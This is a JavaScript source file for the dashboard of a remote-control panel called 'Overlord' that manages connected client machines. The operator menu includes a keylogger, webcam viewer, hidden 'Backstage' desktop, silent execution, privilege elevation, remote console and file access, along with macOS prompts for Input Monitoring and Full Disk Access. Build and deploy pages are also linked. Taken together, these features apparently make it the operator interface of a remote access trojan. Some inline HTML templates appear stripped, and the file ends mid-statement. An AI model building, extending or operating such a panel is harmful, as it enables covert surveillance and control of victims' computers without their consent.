import { state } from "./state.js"; import { debounce } from "./utils.js"; import { createRenderer } from "./render.js"; import { openMenu, closeMenu, openModal, wireModalClose, menu } from "./ui.js"; import { registerRenderer, loadWithOptions, renderCachedClients, startAutoRefresh, sendCommand, pingClientNow, requestPreview, requestThumbnail, markManualDisconnect, } from "./data.js"; import { ThumbnailLoader } from "./thumbnail-loader.js"; import { initDashboardStats, updateDashboardStatsFromClients } from "./dashboard-stats.js"; const grid = document.getElementById("grid"); const totalPill = document.getElementById("total-pill"); const pageLabel = document.getElementById("page-label"); const pageTotal = document.getElementById("page-total"); const prevBtn = document.getElementById("prev"); const nextBtn = document.getElementById("next"); const pageJumpForm = document.getElementById("page-jump-form"); const pageJumpInput = document.getElementById("page-jump-input"); const searchInput = document.getElementById("search"); const sortSelect = document.getElementById("sort"); const filterStatusSelect = document.getElementById("filter-status"); const filterOsSelect = document.getElementById("filter-os"); const filterGroupSelect = document.getElementById("filter-group"); const filterWebcamSelect = document.getElementById("filter-webcam"); const showOfflineToggle = document.getElementById("toggle-offline"); const displayFieldsMenu = document.getElementById("display-fields-menu"); const selectAllBtn = document.getElementById("select-all"); const clearSelectionBtn = document.getElementById("clear-selection"); const logoutBtn = document.getElementById("logout-btn"); const usernameDisplay = document.getElementById("username-display"); const roleBadge = document.getElementById("role-badge"); const usersLink = document.getElementById("users-link"); const buildLink = document.getElementById("build-link"); const deployLink = document.getElementById("deploy-link"); const bulkToolbar = document.getElementById("bulk-toolbar"); const selectedCountSpan = document.getElementById("selected-count"); const bulkScreenshotBtn = document.getElementById("bulk-screenshot"); const bulkDisconnectBtn = document.getElementById("bulk-disconnect"); const bulkUninstallBtn = document.getElementById("bulk-uninstall"); const bulkClearBtn = document.getElementById("bulk-clear"); const bulkGroupBtn = document.getElementById("bulk-group"); const bulkMuteBtn = document.getElementById("bulk-mute"); const bulkUnmuteBtn = document.getElementById("bulk-unmute"); const serverVersionText = document.getElementById("server-version-text"); const selectedClients = new Set(); let lastNonOnlineStatus = "all"; const PREF_FILTER_STATUS_KEY = "overlord_filter_status"; const PREF_SORT_KEY = "overlord_sort"; const PREF_FILTER_OS_KEY = "overlord_filter_os"; const PREF_FILTER_COUNTRY_KEY = "overlord_filter_country"; const PREF_FILTER_GROUP_KEY = "overlord_filter_group"; const PREF_FILTER_WEBCAM_KEY = "overlord_filter_webcam"; const PREF_DISPLAY_FIELDS_KEY = "overlord_display_fields"; const DEFAULT_DISPLAY_FIELDS = { user: true, ip: true, hwid: false, system: true, version: true, monitors: true, group: true, hardware: true, battery: true, }; let displayFields = { ...DEFAULT_DISPLAY_FIELDS }; let currentUser = null; let contextCard = null; let availableOsList = new Set(); let rendererInitialized = false; let lastKnownTotalPages = 1; let currentServerVersion = ""; window.setDashboardPageBounds = (currentPage, totalPages) => { lastKnownTotalPages = Math.max(1, Number(totalPages) || 1); const safeCurrentPage = Math.max(1, Number(currentPage) || 1); if (pageLabel) pageLabel.textContent = "Page"; if (pageTotal) pageTotal.textContent = String(lastKnownTotalPages); if (!pageJumpInput) return; pageJumpInput.max = String(lastKnownTotalPages); pageJumpInput.style.width = `${Math.min(8, Math.max(2, String(lastKnownTotalPages).length, String(safeCurrentPage).length)) + 2}ch`; if (document.activeElement !== pageJumpInput) { pageJumpInput.value = String(safeCurrentPage); } }; function setServerVersionLabel(version, tone = "ok") { if (!serverVersionText) return; serverVersionText.textContent = "Server version: "; const value = document.createElement("span"); value.className = tone === "bad" ? "server-version-number-mismatch" : tone === "warn" ? "server-version-number-warning" : "server-version-number"; value.textContent = version; serverVersionText.appendChild(value); } async function loadServerVersion() { if (!serverVersionText) return; try { const res = await fetch("/api/version", { credentials: "include" }); if (!res.ok) { setServerVersionLabel("unavailable", "bad"); return; } const payload = await res.json(); const version = typeof payload?.version === "string" && payload.version.trim() ? payload.version.trim() : "unknown"; currentServerVersion = version; setServerVersionLabel(version, version === "unknown" ? "warn" : "ok"); if (rendererInitialized) { state.lastDigest = ""; renderCachedClients({ force: true }); } } catch { currentServerVersion = "unavailable"; setServerVersionLabel("unavailable", "bad"); } } const setContext = (id) => { contextCard = id; }; const clearContext = () => { contextCard = null; }; let _pluginCache = null; let _pluginCacheAge = 0; const PLUGIN_CACHE_TTL = 30_000; const PLUGIN_CACHE_INVALIDATION_KEY = "overlord_plugin_cache_invalidated_at"; const pluginDashboardBadges = new Map(); let pluginDashboardDigest = ""; let pluginDashboardRefreshInFlight = false; async function refreshPluginCache() { try { const res = await fetch("/api/plugins"); if (!res.ok) return; const data = await res.json(); _pluginCache = Array.isArray(data.plugins) ? data.plugins : []; _pluginCacheAge = Date.now(); } catch {} } function invalidatePluginCache() { _pluginCache = null; _pluginCacheAge = 0; } function getCachedPlugins() { if (_pluginCache && Date.now() - _pluginCacheAge < PLUGIN_CACHE_TTL) { return _pluginCache; } return null; } function dashboardBadgeHref(href, clientId, pluginId) { const raw = String(href || `/plugins/${encodeURIComponent(pluginId)}?clientId=${encodeURIComponent(clientId)}`); return raw .replaceAll("{clientId}", encodeURIComponent(clientId)) .replaceAll("{pluginId}", encodeURIComponent(pluginId)); } function getDashboardBadgesForClient(client) { return pluginDashboardBadges.get(client?.id || "") || []; } async function refreshDashboardPluginContributions(items = []) { if (pluginDashboardRefreshInFlight) return; const clientIds = items.map((item) => item?.id).filter(Boolean); if (!clientIds.length) { if (pluginDashboardBadges.size) { pluginDashboardBadges.clear(); pluginDashboardDigest = ""; renderCachedClients({ force: true, fromPluginDashboard: true }); } return; } pluginDashboardRefreshInFlight = true; try { const res = await fetch("/api/plugins/dashboard-contributions", { method: "POST", credentials: "include", headers: { "Content-Type": "application/json", Accept: "application/json" }, body: JSON.stringify({ clientIds }), }); if (!res.ok) return; const data = await res.json(); const pluginNames = new Map((Array.isArray(data.plugins) ? data.plugins : []).map((p) => [p.id, p.name || p.id])); const next = new Map(); for (const row of Array.isArray(data.contributions) ? data.contributions : []) { const clientId = String(row?.clientId || ""); const pluginId = String(row?.pluginId || ""); if (!clientId || !pluginId || !clientIds.includes(clientId)) continue; const badges = Array.isArray(row.badges) ? row.badges : []; const current = next.get(clientId) || []; for (const badge of badges) { const id = String(badge?.id || pluginId || "plugin"); current.push({ ...badge, id: `${pluginId}:${id}`, pluginId, pluginName: pluginNames.get(pluginId) || pluginId, href: dashboardBadgeHref(badge?.href, clientId, pluginId), }); } next.set(clientId, current); } const nextDigest = JSON.stringify(Array.from(next.entries()).sort(([a], [b]) => a.localeCompare(b))); if (nextDigest === pluginDashboardDigest) return; pluginDashboardDigest = nextDigest; pluginDashboardBadges.clear(); for (const [clientId, badges] of next.entries()) pluginDashboardBadges.set(clientId, badges); renderCachedClients({ force: true, fromPluginDashboard: true }); } catch { // Dashboard badges are decorative; leave the last known state in place. } finally { pluginDashboardRefreshInFlight = false; } } function detectClientPlatform(clientId) { if (!clientId) { return "unknown"; } const selectorId = typeof CSS !== "undefined" && typeof CSS.escape === "function" ? CSS.escape(clientId) : clientId; const card = document.querySelector(`[data-client-row][data-id="${selectorId}"]`); const os = String(card?.dataset?.os || "").toLowerCase(); if (os.includes("windows")) return "windows"; if (os.includes("darwin") || os.includes("mac")) return "mac"; if (os.includes("linux")) return "linux"; return "unknown"; } function getClientCard(clientId) { if (!clientId) return null; const selectorId = typeof CSS !== "undefined" && typeof CSS.escape === "function" ? CSS.escape(clientId) : clientId; return document.querySelector(`[data-client-row][data-id="${selectorId}"]`); } function macPermissionLabels(keys = []) { const labels = { accessibility: "Accessibility", screenRecording: "Screen Recording", inputMonitoring: "Input Monitoring", fullDiskAccess: "Full Disk Access", }; return keys.map((key) => labels[key] || key).join(", "); } async function requestMacPermissions(clientId, permissionKey = "", { refreshOnly = false } = {}) { if (!clientId) return; if (!isClientOnline(clientId)) { alert("Client is offline. macOS permissions can only be requested while the client is online."); return; } if (detectClientPlatform(clientId) !== "mac") { alert("This permission request is only available for macOS clients."); return; } const requested = permissionKey ? [permissionKey] : refreshOnly ? ["accessibility", "screenRecording", "fullDiskAccess"] : ["accessibility", "screenRecording", "inputMonitoring", "fullDiskAccess"]; const label = macPermissionLabels(requested) || "macOS permissions"; if (!refreshOnly) { const proceed = confirm( `Request ${label} from ${clientId}?\n\n` + "This can show a macOS prompt on the target Mac. " + "Full Disk Access must be granted in System Settings; the agent will open the Privacy pane when possible.", ); if (!proceed) return; } try { const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/command`, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ action: "darwin_request_permissions", permissions: requested, refreshOnly, }), }); const data = await res.json().catch(() => ({})); if (!res.ok) { alert(data.error || "macOS permission request failed."); return; } const missing = Array.isArray(data.missing) ? data.missing : []; const stillMissingRequested = missing.filter((key) => requested.includes(key)); if (refreshOnly) { window.showToast?.("macOS permissions refreshed", "success", 2500); } else if (stillMissingRequested.length) { alert(`Permission request completed, but still missing: ${macPermissionLabels(stillMissingRequested)}`); } else { alert(`${label} is granted.`); } setTimeout(() => loadWithOptions({ force: true }), 300); } catch (err) { alert("macOS permission request failed: " + err.message); } } async function applyMacPermissionChanges(clientId) { if (!clientId) return; if (!isClientOnline(clientId)) { alert("Client is offline."); return; } const proceed = confirm( `Reconnect ${clientId} to apply macOS permission changes?\n\n` + "The client will reconnect and report fresh permission state.", ); if (!proceed) return; markManualDisconnect(clientId); const ok = await sendCommand(clientId, "reconnect"); if (ok) { window.showToast?.("Reconnect requested", "success", 2500); setTimeout(() => loadWithOptions({ force: true }), 1200); } } window.__uninstallingClientIds = window.__uninstallingClientIds || new Set(); function flipFallAndRemove(clientId, { delayMs = 0 } = {}) { const card = getClientCard(clientId); if (!card || card.classList.contains("card-uninstalling")) return; window.__uninstallingClientIds.add(clientId); if (delayMs > 0) card.style.animationDelay = `${delayMs}ms`; card.classList.add("card-uninstalling"); let removed = false; const cleanup = () => { if (removed) return; removed = true; card.remove(); setTimeout(() => window.__uninstallingClientIds.delete(clientId), 2500); }; card.addEventListener("animationend", cleanup, { once: true }); setTimeout(cleanup, 1100 + delayMs + 400); } function openTagNoteEditor(clientId, currentTag, currentNote) { return new Promise((resolve) => { const overlay = document.createElement("div"); overlay.className = "fixed inset-0 z-[10001] bg-black/70 backdrop-blur-sm flex items-center justify-center p-4"; overlay.innerHTML = `

Custom Tag

`; const clientLabel = overlay.querySelector("#tag-editor-client"); if (clientLabel) clientLabel.textContent = clientId; const tagInput = overlay.querySelector("#tag-editor-input"); if (tagInput) tagInput.value = currentTag || ""; const textarea = overlay.querySelector("#tag-editor-note"); textarea.value = currentNote || ""; const closeWith = (result) => { overlay.remove(); resolve(result); }; overlay.addEventListener("click", (e) => { if (e.target === overlay) closeWith(null); }); overlay .querySelector("#tag-editor-cancel") ?.addEventListener("click", () => closeWith(null)); overlay .querySelector("#tag-editor-clear") ?.addEventListener("click", () => closeWith({ tag: "", note: "" })); overlay.querySelector("#tag-editor-save")?.addEventListener("click", () => { const tag = String(overlay.querySelector("#tag-editor-input")?.value || "").trim(); const note = String(overlay.querySelector("#tag-editor-note")?.value || ""); closeWith({ tag, note }); }); document.body.appendChild(overlay); overlay.querySelector("#tag-editor-input")?.focus(); }); } function isClientOnline(clientId) { return getClientCard(clientId)?.dataset.online === "true"; } function applyMenuSupportRules(clientId) { const platform = detectClientPlatform(clientId); const isWindows = platform === "windows"; const isOnline = isClientOnline(clientId); const setAvailability = (btn, enabled, reason) => { if (!btn) return; btn.disabled = !enabled; btn.setAttribute("aria-disabled", String(!enabled)); btn.classList.toggle("opacity-50", !enabled); btn.classList.toggle("cursor-not-allowed", !enabled); btn.classList.toggle("hover:bg-slate-700", enabled); btn.classList.toggle("hover:bg-slate-800/50", !enabled); btn.title = enabled ? "" : reason; }; const backstageBtn = menu.querySelector('[data-open="Backstage"]'); setAvailability(backstageBtn, isOnline && isWindows, isOnline ? "Backstage is only supported on Windows clients." : "Client is offline"); const hiddenBtn = menu.querySelector('[data-open="Virtual"]'); setAvailability(hiddenBtn, isOnline && isWindows, isOnline ? "Virtual mode is only supported on Windows clients." : "Client is offline"); const webcamBtn = menu.querySelector('[data-open="webcam"]'); setAvailability(webcamBtn, isOnline && isWindows, isOnline ? "Webcam viewer is only supported on Windows clients." : "Client is offline"); const keyloggerBtn = menu.querySelector('[data-open="keylogger"]'); const keyloggerSupported = isWindows || platform === "mac"; setAvailability( keyloggerBtn, keyloggerSupported, "Keylogger is not supported on this platform.", ); const winreBtn = menu.querySelector('[data-open="winre"]'); if (winreBtn) { winreBtn.style.display = isWindows ? "" : "none"; if (isWindows) { setAvailability(winreBtn, isOnline, "Client is offline"); } } const elevateBtn = menu.querySelector('[data-action="elevate"]'); if (elevateBtn) { const canElevate = platform === "mac" || platform === "windows"; elevateBtn.style.display = canElevate ? "" : "none"; if (canElevate) setAvailability(elevateBtn, isOnline, "Client is offline"); } setAvailability(menu.querySelector('[data-open="console"]'), isOnline, "Client is offline"); setAvailability(menu.querySelector('[data-open="remotedesktop"]'), isOnline, "Client is offline"); setAvailability(menu.querySelector('[data-open="voice"]'), isOnline, "Client is offline"); setAvailability(menu.querySelector('[data-open="processes"]'), isOnline, "Client is offline"); setAvailability(menu.querySelector('[data-open="files"]'), isOnline, "Client is offline"); const silentExecBtn = menu.querySelector('[data-open="silent-exec"]'); if (silentExecBtn && !silentExecBtn.classList.contains("hidden")) { setAvailability(silentExecBtn, isOnline, "Client is offline"); } ["remote-access", "system"].forEach(groupId => { setAvailability(menu.querySelector(`[data-group-toggle="${groupId}"]`), isOnline, "Client is offline"); }); setAvailability( menu.querySelector('[data-group-toggle="monitoring"]'), isOnline || keyloggerSupported, keyloggerSupported ? "" : "Client is offline", ); ["ping", "reconnect", "disconnect", "uninstall"].forEach(action => { setAvailability(menu.querySelector(`[data-action="${action}"]`), isOnline, "Client is offline"); }); applyFeaturePermissionRules(); } const MENU_OPEN_TO_FEATURE = { console: "console", remotedesktop: "remote_desktop", Backstage: "backstage", Hidden: "backstage", webcam: "webcam", files: "file_browser", processes: "processes", keylogger: "keylogger", voice: "voice", }; function applyFeaturePermissionRules() { const perms = currentUser?.featurePermissions; if (!perms) return; for (const [openKey, feature] of Object.entries(MENU_OPEN_TO_FEATURE)) { const btn = menu.querySelector(`[data-open="${openKey}"]`); if (!btn) continue; if (perms[feature] === false) { btn.disabled = true; btn.setAttribute("aria-disabled", "true"); btn.classList.add("opacity-50", "cursor-not-allowed"); btn.classList.remove("hover:bg-slate-700"); btn.classList.add("hover:bg-slate-800/50"); btn.title = "Feature access disabled by administrator"; } } } async function loadCurrentUser() { loadServerVersion(); try { const res = await fetch("/api/auth/me"); if (res.ok) { currentUser = await res.json(); if (currentUser && currentUser.username && currentUser.role) { if (!usernameDisplay || !roleBadge) { return; } usernameDisplay.textContent = currentUser.username; const roleBadges = { admin: 'Admin', operator: 'Operator', viewer: 'Viewer', }; if (roleBadges[currentUser.role]) { roleBadge.innerHTML = roleBadges[currentUser.role]; } else { roleBadge.textContent = currentUser.role || ""; } if (currentUser.role === "admin") { roleBadge.classList.add( "bg-purple-900/50", "text-purple-300", "border", "border-purple-800", ); } else if (currentUser.role === "operator") { roleBadge.classList.add( "bg-blue-900/50", "text-blue-300", "border", "border-blue-800", ); } else { roleBadge.classList.add( "bg-slate-700", "text-slate-300", "border", "border-slate-600", ); } if (currentUser.role === "admin") { usersLink?.classList.remove("hidden"); } if (currentUser.role === "admin" && !localStorage.getItem("overlord_settings_exported")) { localStorage.setItem("overlord_settings_exported", "1"); try { const expRes = await fetch("/api/settings/export", { credentials: "include" }); if (expRes.ok) { const blob = await expRes.blob(); const disposition = expRes.headers.get("Content-Disposition") || ""; const match = disposition.match(/filename="?([^"]+)"?/); const filename = match ? match[1] : "overlord-settings.json"; const dlUrl = URL.createObjectURL(blob); const a = document.createElement("a"); a.href = dlUrl; a.download = filename; document.body.appendChild(a); a.click(); document.body.removeChild(a); URL.revokeObjectURL(dlUrl); } } catch {} } if (currentUser.role === "admin" || currentUser.role === "operator" || currentUser.canBuild) { buildLink?.classList.remove("hidden"); } if (currentUser.role === "admin") { const pluginsLink = document.getElementById("plugins-link"); pluginsLink?.classList.remove("hidden"); deployLink?.classList.remove("hidden"); document.getElementById("menu-silent-exec")?.classList.remove("hidden"); } const scriptsLink = document.getElementById("scripts-link"); if (currentUser.role !== "viewer") { scriptsLink?.classList.remove("hidden"); } initializeRenderer(); } initializeRenderer(); refreshPluginCache(); } else { window.location.href = "/"; } } catch (err) { console.error("Failed to load user:", err); } } function showPluginConfirmModal(pluginId, clientId, sigInfo) { document.getElementById("plugin-confirm-modal")?.remove(); const isSigned = sigInfo && sigInfo.signed && sigInfo.valid; const statusText = isSigned ? `This plugin is signed but the signer's key is not trusted.` : `This plugin is not signed and its origin cannot be verified.`; const fpText = sigInfo?.fingerprint ? `Signer fingerprint: ${sigInfo.fingerprint}` : "No signature present"; const modal = document.createElement("div"); modal.id = "plugin-confirm-modal"; modal.className = "fixed inset-0 z-50 flex items-center justify-center bg-black/60 backdrop-blur-sm"; modal.innerHTML = `

${isSigned ? 'Untrusted Plugin' : 'Unsigned Plugin'}

${pluginId}

${statusText}

${fpText}

Type confirm below to load this plugin:

`; document.body.appendChild(modal); const input = document.getElementById("plugin-confirm-input"); const loadBtn = document.getElementById("plugin-confirm-load"); const cancelBtn = document.getElementById("plugin-confirm-cancel"); input.addEventListener("input", () => { const match = input.value.trim().toLowerCase() === "confirm"; loadBtn.disabled = !match; loadBtn.classList.toggle("opacity-50", !match); loadBtn.classList.toggle("cursor-not-allowed", !match); loadBtn.classList.toggle("hover:bg-emerald-800/60", match); }); cancelBtn.addEventListener("click", () => modal.remove()); modal.addEventListener("click", (e) => { if (e.target === modal) modal.remove(); }); loadBtn.addEventListener("click", async () => { if (loadBtn.disabled) return; loadBtn.disabled = true; loadBtn.textContent = "Loading…"; try { const res = await fetch(`/api/clients/${clientId}/plugins/${pluginId}/load`, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ confirmed: true }), }); if (!res.ok) { const data = await res.json().catch(() => null); if (data?.error === "needs_approval_required") { modal.remove(); showPluginNeedsModal(pluginId, clientId, data.needs, data.needsHash); return; } alert(`Plugin load failed: ${data?.error || res.statusText}`); } else { window.open(`/plugins/${pluginId}?clientId=${clientId}`, "_blank", "noopener"); } } catch { alert("Plugin load failed"); } modal.remove(); }); input.focus(); } function escapePluginHtml(value) { return String(value) .replace(/&/g, "&") .replace(//g, ">") .replace(/"/g, """); } function pluginNeedLines(needs) { const files = Array.isArray(needs?.files) ? needs.files : []; return files.map((need) => { const access = Array.isArray(need.access) ? need.access.join(", ") : ""; const reason = need.reason ? ` - ${need.reason}` : ""; return `${need.bucket}: ${access}${reason}`; }); } function showPluginNeedsModal(pluginId, clientId, needs, needsHash) { document.getElementById("plugin-needs-modal")?.remove(); const lines = pluginNeedLines(needs); const modal = document.createElement("div"); modal.id = "plugin-needs-modal"; modal.className = "fixed inset-0 z-50 flex items-center justify-center bg-black/60 backdrop-blur-sm"; modal.innerHTML = `

Approve Plugin Needs

${escapePluginHtml(pluginId)}

This plugin declares filesystem bridges that must be approved before loading.

${lines.length ? lines.map((line) => `
${escapePluginHtml(line)}
`).join("") : '
No filesystem needs declared.
'}
${needsHash ? `

Needs hash: ${escapePluginHtml(needsHash.slice(0, 16))}...

` : ""}
`; document.body.appendChild(modal); document.getElementById("plugin-needs-cancel")?.addEventListener("click", () => modal.remove()); modal.addEventListener("click", (e) => { if (e.target === modal) modal.remove(); }); document.getElementById("plugin-needs-approve")?.addEventListener("click", async () => { const approveBtn = document.getElementById("plugin-needs-approve"); approveBtn.disabled = true; approveBtn.textContent = "Approving..."; const approve = await fetch(`/api/plugins/${pluginId}/needs/approve`, { method: "POST" }); if (!approve.ok) { alert("Needs approval failed"); modal.remove(); return; } const res = await fetch(`/api/clients/${clientId}/plugins/${pluginId}/load`, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ confirmed: true }), }); if (!res.ok) { const data = await res.json().catch(() => null); alert(`Plugin load failed: ${data?.error || res.statusText}`); } else { window.open(`/plugins/${pluginId}?clientId=${clientId}`, "_blank", "noopener"); } modal.remove(); }); } function renderPluginMenu(plugins) { const section = document.getElementById("plugin-section"); const container = document.getElementById("plugin-menu"); if (!section || !container) return; container.innerHTML = ""; const enabled = plugins.filter(p => p.enabled !== false); if (!enabled.length) { section.classList.add("hidden"); return; } section.classList.remove("hidden"); for (const plugin of enabled) { const btn = document.createElement("button"); btn.className = "ctx-item ctx-plugin-item"; btn.dataset.plugin = plugin.id; btn.dataset.loaded = plugin.loaded ? "true" : "false"; if (plugin.lastError) { btn.title = `Last error: ${plugin.lastError}`; } const sig = plugin.signature; if (sig && sig.signed && !sig.valid) { btn.disabled = true; btn.setAttribute("aria-disabled", "true"); btn.title = "Plugin signature is invalid — cannot load"; } const labelIcon = document.createElement("i"); labelIcon.className = "fa-solid fa-puzzle-piece ctx-icon " + (plugin.loaded ? "text-emerald-400" : "text-fuchsia-400"); btn.appendChild(labelIcon); const label = document.createElement("span"); label.className = "ctx-plugin-label"; label.textContent = plugin.name || plugin.id; btn.appendChild(label); if (sig) { const trustIcon = document.createElement("i"); if (sig.signed && !sig.valid) { trustIcon.className = "fa-solid fa-shield-xmark ctx-plugin-trust text-red-400"; trustIcon.title = "Invalid signature"; } else if (sig.signed && sig.valid && sig.trusted) { trustIcon.className = "fa-solid fa-shield-check ctx-plugin-trust text-emerald-400"; trustIcon.title = "Trusted"; } else if (sig.signed && sig.valid && !sig.trusted) { trustIcon.className = "fa-solid fa-shield ctx-plugin-trust text-yellow-400"; trustIcon.title = "Signed but untrusted"; } else { trustIcon.className = "fa-solid fa-shield-halved ctx-plugin-trust text-orange-400"; trustIcon.title = "Unsigned"; } btn.appendChild(trustIcon); } const badge = document.createElement("span"); badge.className = "ctx-plugin-badge" + (plugin.loaded ? " is-loaded" : ""); badge.textContent = plugin.loaded ? "loaded" : "available"; btn.appendChild(badge); container.appendChild(btn); if (plugin.loaded) { const unloadBtn = document.createElement("button"); unloadBtn.className = "ctx-item"; unloadBtn.dataset.pluginUnload = plugin.id; const unloadIcon = document.createElement("i"); unloadIcon.className = "fa-solid fa-plug-circle-xmark ctx-icon text-red-400"; unloadBtn.appendChild(unloadIcon); const unloadText = document.createElement("span"); unloadText.textContent = `Unload ${plugin.name || plugin.id}`; unloadBtn.appendChild(unloadText); container.appendChild(unloadBtn); } } } function renderScriptMenu(scripts) { const section = document.getElementById("script-section"); const container = document.getElementById("script-menu"); if (!section || !container) return; container.innerHTML = ""; if (!Array.isArray(scripts) || scripts.length === 0) { section.classList.add("hidden"); return; } section.classList.remove("hidden"); const sorted = scripts.slice().sort((a, b) => (b.updatedAt || 0) - (a.updatedAt || 0)); for (const script of sorted) { const btn = document.createElement("button"); btn.className = "ctx-item ctx-plugin-item"; btn.dataset.scriptId = script.id; btn.title = `${script.scriptType} — click to open in Scripts with this client preselected`; const labelIcon = document.createElement("i"); labelIcon.className = "fa-solid fa-scroll ctx-icon text-cyan-400"; btn.appendChild(labelIcon); const label = document.createElement("span"); label.className = "ctx-plugin-label"; label.textContent = script.name || script.id; btn.appendChild(label); const badge = document.createElement("span"); badge.className = "ctx-plugin-badge"; badge.textContent = script.scriptType || ""; btn.appendChild(badge); container.appendChild(btn); } } let _scriptMenuCache = null; async function loadSavedScriptsForMenu() { const section = document.getElementById("script-section"); const container = document.getElementById("script-menu"); if (!section || !container) return; if (_scriptMenuCache) renderScriptMenu(_scriptMenuCache); try { const res = await fetch("/api/saved-scripts"); if (!res.ok) return; const data = await res.json(); const scripts = Array.isArray(data.items) ? data.items : []; _scriptMenuCache = scripts; renderScriptMenu(scripts); } catch { // ignore — cached render (if any) is already showing } } async function loadPluginsForClient(clientId) { const section = document.getElementById("plugin-section"); const container = document.getElementById("plugin-menu"); if (!section || !container) return; container.innerHTML = ""; section.classList.add("hidden"); const cached = getCachedPlugins(); if (cached && cached.length) { renderPluginMenu(cached); } try { const res = await fetch(`/api/clients/${clientId}/plugins`); if (!res.ok) return; const data = await res.json(); const plugins = Array.isArray(data.plugins) ? data.plugins : []; renderPluginMenu(plugins); } catch { // ignore — cache render is already showing } } window.addEventListener("storage", (event) => { if (event.key !== PLUGIN_CACHE_INVALIDATION_KEY) return; invalidatePluginCache(); }); window.addEventListener("overlord:plugins-changed", () => { invalidatePluginCache(); }); const PREF_LAYOUT_KEY = "overlord_layout"; let rendererSetLayout = null; function applyLayoutToggleUI(layout) { document.querySelectorAll("#layout-toggle .layout-toggle-btn").forEach((btn) => { const active = btn.dataset.layout === layout; btn.classList.toggle("is-active", active); btn.setAttribute("aria-pressed", active ? "true" : "false"); }); } function setLayout(layout) { const next = ["rows", "table", "cards"].includes(layout) ? layout : "rows"; localStorage.setItem(PREF_LAYOUT_KEY, next); applyLayoutToggleUI(next); if (rendererSetLayout) rendererSetLayout(next); state.lastDigest = ""; if (!renderCachedClients({ reorder: true, force: true })) { loadWithOptions({ force: true, reorder: true }); } } document.querySelectorAll("#layout-toggle .layout-toggle-btn").forEach((btn) => { btn.addEventListener("click", () => setLayout(btn.dataset.layout)); }); function loadDisplayFields() { try { const saved = JSON.parse(localStorage.getItem(PREF_DISPLAY_FIELDS_KEY) || "null"); if (saved && typeof saved === "object") { displayFields = { ...DEFAULT_DISPLAY_FIELDS, ...saved }; } } catch { displayFields = { ...DEFAULT_DISPLAY_FIELDS }; } } function syncDisplayFieldInputs() { displayFieldsMenu?.querySelectorAll("input[data-field]").forEach((input) => { input.checked = displayFields[input.dataset.field] !== false; }); } function saveDisplayFields() { localStorage.setItem(PREF_DISPLAY_FIELDS_KEY, JSON.stringify(displayFields)); } function rerenderDisplayFields() { state.lastDigest = ""; if (!renderCachedClients({ reorder: true, force: true })) { loadWithOptions({ force: true, reorder: true }); } } loadDisplayFields(); syncDisplayFieldInputs(); displayFieldsMenu?.addEventListener("change", (e) => { const input = e.target.closest("input[data-field]"); if (!input) return; displayFields[input.dataset.field] = input.checked; saveDisplayFields(); rerenderDisplayFields(); }); document.addEventListener("click", (e) => { document.querySelectorAll(".dashboard-menu[open]").forEach((details) => { if (!details.contains(e.target)) details.removeAttribute("open"); }); }); document.querySelectorAll(".dashboard-menu").forEach((details) => { details.addEventListener("toggle", () => { if (!details.open) return; document.querySelectorAll(".dashboard-menu[open]").forEach((other) => { if (other !== details) other.removeAttribute("open"); }); }); }); let dashboardThumbnailLoader = null; function refreshDashboardThumbnail(clientId) { if (dashboardThumbnailLoader?.refreshNow(clientId)) { return; } // The loader initializes asynchronously; preserve manual refreshes made // before it is ready. requestThumbnail(clientId); } async function isDashboardThumbnailEnabled() { try { const res = await fetch("/api/settings/thumbnails", { credentials: "include" }); if (!res.ok) return true; const data = await res.json(); return data?.thumbnails?.dashboardEnabled !== false; } catch { return true; } } async function setupDashboardThumbnailLoader() { if (!grid || dashboardThumbnailLoader) return; if (!(await isDashboardThumbnailEnabled())) return; const stored = Number(localStorage.getItem("overlord_dash_thumb_interval_ms")); const refreshIntervalMs = Number.isFinite(stored) && stored >= 2000 ? stored : 15_000; dashboardThumbnailLoader = new ThumbnailLoader({ refreshIntervalMs, rootMargin: "300px", threshold: 0.05, }); const wire = (el) => { const id = el.dataset.thumbClient; if (!id) return; if (el.dataset.thumbOnline !== "1") return; const v = Number(el.dataset.thumbVersion) || 0; dashboardThumbnailLoader.observe(el, id, v); }; const unwire = (el) => dashboardThumbnailLoader.unobserve(el); const mo = new MutationObserver((mutations) => { for (const m of mutations) { m.addedNodes.forEach((n) => { if (!(n instanceof HTMLElement)) return; if (n.matches?.("[data-thumb-host]")) wire(n); n.querySelectorAll?.("[data-thumb-host]").forEach(wire); }); m.removedNodes.forEach((n) => { if (!(n instanceof HTMLElement)) return; if (n.matches?.("[data-thumb-host]")) unwire(n); n.querySelectorAll?.("[data-thumb-host]").forEach(unwire); }); } }); mo.observe(grid, { childList: true, subtree: true }); grid.querySelectorAll("[data-thumb-host]").forEach(wire); } function initializeRenderer() { if (rendererInitialized) return; rendererInitialized = true; const savedLayout = localStorage.getItem(PREF_LAYOUT_KEY) || "rows"; if (grid) grid.dataset.layout = ["rows", "table", "cards"].includes(savedLayout) ? savedLayout : "rows"; applyLayoutToggleUI(grid?.dataset.layout || "rows"); const { renderMerge, setLayout: rSetLayout } = createRenderer({ grid, totalPill, pageLabel, openMenu: (id, x, y) => { applyMenuSupportRules(id); const card = getClientCard(id); const notificationsMuted = card?.dataset.notificationsMuted === "true"; openMenu(id, x, y, setContext, { isOnline: isClientOnline(id), notificationsMuted }); loadPluginsForClient(id); loadSavedScriptsForMenu(); }, openModal, requestPreview, requestThumbnail: refreshDashboardThumbnail, pingClient: pingClientNow, onOpenWebcam: (id) => window.open(`/webcam?clientId=${encodeURIComponent(id)}`, "_blank", "noopener"), onMacPermissionRequest: (id, _card, permissionKey) => requestMacPermissions(id, permissionKey), onMacPermissionRefresh: (id) => requestMacPermissions(id, "", { refreshOnly: true }), onMacPermissionApply: (id) => applyMacPermissionChanges(id), userRole: currentUser?.role, getServerVersion: () => currentServerVersion, getDisplayFields: () => displayFields, getDashboardBadges: getDashboardBadgesForClient, }); rendererSetLayout = rSetLayout; registerRenderer((data, options) => { renderMerge(data, options); if (isUnfilteredClientView()) { updateDashboardStatsFromClients(data); } if (!options?.fromPluginDashboard) { refreshDashboardPluginContributions(data?.items || []); } }); initDashboardStats(); setupDashboardThumbnailLoader(); refreshGroupFilter(); loadWithOptions(); startAutoRefresh(); if (typeof anime !== "undefined" && !document.documentElement.classList.contains("large-client-set")) { anime .timeline({ easing: "easeOutQuad" }) .add({ targets: "main > div > div:first-child", opacity: [0, 1], translateY: [15, 0], duration: 500, }) 